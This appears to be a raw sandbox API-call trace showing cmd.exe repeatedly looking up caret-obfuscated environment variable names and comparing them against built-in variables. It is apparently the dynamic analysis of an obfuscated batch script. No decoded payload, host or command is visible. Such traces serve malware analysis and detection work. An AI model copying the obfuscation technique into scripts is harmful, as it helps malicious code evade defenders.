	[0056.127] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.127] GetEnvironmentVariableW (in: lpName="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.127] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="CD") returned 23
	[0056.127] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="ERRORLEVEL") returned 21
	[0056.127] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="CMDEXTVERSION") returned 23
	[0056.127] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="CMDCMDLINE") returned 23
	[0056.127] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="DATE") returned 22
	[0056.127] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="TIME") returned 6
	[0056.127] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="RANDOM") returned 8
	[0056.127] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="HIGHESTNUMANODENUMBER") returned 18
	[0056.128] GetEnvironmentVariableW (in: lpName="R^en6w^L^P^j^y^{^7^y^jU^6^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.128] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="CD") returned 15
	[0056.128] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="ERRORLEVEL") returned 13
	[0056.128] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="CMDEXTVERSION") returned 15
	[0056.128] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="CMDCMDLINE") returned 15
	[0056.128] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="DATE") returned 14
	[0056.128] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="TIME") returned -2
	[0056.128] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="RANDOM") returned -3
	[0056.128] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="HIGHESTNUMANODENUMBER") returned 10
	[0056.128] GetEnvironmentVariableW (in: lpName="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.128] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="CD") returned -5
	[0056.128] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="ERRORLEVEL") returned -7
	[0056.128] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="CMDEXTVERSION") returned -5
	[0056.128] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="CMDCMDLINE") returned -5
	[0056.128] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="DATE") returned -6
	[0056.128] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="TIME") returned -22
	[0056.128] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="RANDOM") returned -20
	[0056.128] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.129] GetEnvironmentVariableW (in: lpName="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.129] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="CD") returned -5
	[0056.129] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="ERRORLEVEL") returned -7
	[0056.129] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="CMDEXTVERSION") returned -5
	[0056.129] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="CMDCMDLINE") returned -5
	[0056.129] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="DATE") returned -6
	[0056.129] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="TIME") returned -22
	[0056.129] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="RANDOM") returned -20
	[0056.129] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.129] GetEnvironmentVariableW (in: lpName="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.129] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="CD") returned -5
	[0056.129] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="ERRORLEVEL") returned -7
	[0056.129] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="CMDEXTVERSION") returned -5
	[0056.129] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="CMDCMDLINE") returned -5
	[0056.129] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="DATE") returned -6
	[0056.129] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="TIME") returned -22
	[0056.129] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="RANDOM") returned -20
	[0056.129] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.129] GetEnvironmentVariableW (in: lpName="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.129] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="CD") returned -5
	[0056.129] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="ERRORLEVEL") returned -7
	[0056.129] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="CMDEXTVERSION") returned -5
	[0056.130] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="CMDCMDLINE") returned -5
	[0056.130] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="DATE") returned -6
	[0056.130] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="TIME") returned -22
	[0056.130] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="RANDOM") returned -20
	[0056.130] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.130] GetEnvironmentVariableW (in: lpName="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.130] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="CD") returned -5
	[0056.130] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="ERRORLEVEL") returned -7
	[0056.130] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="CMDEXTVERSION") returned -5
	[0056.130] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="CMDCMDLINE") returned -5
	[0056.130] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="DATE") returned -6
	[0056.130] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="TIME") returned -22
	[0056.130] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="RANDOM") returned -20
	[0056.130] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.130] GetEnvironmentVariableW (in: lpName="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.130] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="CD") returned -5
	[0056.130] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="ERRORLEVEL") returned -7
	[0056.130] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="CMDEXTVERSION") returned -5
	[0056.130] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="CMDCMDLINE") returned -5
	[0056.130] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="DATE") returned -6
	[0056.130] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="TIME") returned -22
	[0056.130] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="RANDOM") returned -20
	[0056.130] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.131] GetEnvironmentVariableW (in: lpName=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.131] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="CD") returned -53
	[0056.131] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="ERRORLEVEL") returned -55
	[0056.131] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="CMDEXTVERSION") returned -53
	[0056.131] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="CMDCMDLINE") returned -53
	[0056.131] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="DATE") returned -54
	[0056.131] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="TIME") returned -70
	[0056.131] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="RANDOM") returned -68
	[0056.131] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="HIGHESTNUMANODENUMBER") returned -58
	[0056.131] GetEnvironmentVariableW (in: lpName="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.131] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="CD") returned -5
	[0056.131] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="ERRORLEVEL") returned -7
	[0056.131] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="CMDEXTVERSION") returned -5
	[0056.131] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="CMDCMDLINE") returned -5
	[0056.131] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="DATE") returned -6
	[0056.131] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="TIME") returned -22
	[0056.131] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="RANDOM") returned -20
	[0056.131] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.131] GetEnvironmentVariableW (in: lpName="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.132] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="CD") returned -5
	[0056.132] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="ERRORLEVEL") returned -7
	[0056.132] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="CMDEXTVERSION") returned -5
	[0056.132] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="CMDCMDLINE") returned -5
	[0056.132] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="DATE") returned -6
	[0056.132] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="TIME") returned -22
	[0056.132] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="RANDOM") returned -20
	[0056.132] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.132] GetEnvironmentVariableW (in: lpName="^w^L^]^6^7^y^j^U^6^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.132] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="CD") returned -5
	[0056.132] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="ERRORLEVEL") returned -7
	[0056.132] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="CMDEXTVERSION") returned -5
	[0056.132] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="CMDCMDLINE") returned -5
	[0056.132] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="DATE") returned -6
	[0056.132] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="TIME") returned -22
	[0056.132] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="RANDOM") returned -20
	[0056.132] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.132] GetEnvironmentVariableW (in: lpName="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.132] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="CD") returned -5
	[0056.132] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="ERRORLEVEL") returned -7
	[0056.132] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="CMDEXTVERSION") returned -5
	[0056.132] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="CMDCMDLINE") returned -5
	[0056.133] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="DATE") returned -6
	[0056.133] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="TIME") returned -22
	[0056.133] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="RANDOM") returned -20
	[0056.133] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.133] GetEnvironmentVariableW (in: lpName="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.133] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="CD") returned -5
	[0056.133] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="ERRORLEVEL") returned -7
	[0056.133] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="CMDEXTVERSION") returned -5
	[0056.133] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="CMDCMDLINE") returned -5
	[0056.133] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="DATE") returned -6
	[0056.133] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="TIME") returned -22
	[0056.133] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="RANDOM") returned -20
	[0056.133] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.134] GetEnvironmentVariableW (in: lpName="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.134] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="CD") returned 2
	[0056.134] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="ERRORLEVEL") returned -20
	[0056.134] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="CMDEXTVERSION") returned 2
	[0056.134] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="CMDCMDLINE") returned 2
	[0056.134] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="DATE") returned 1
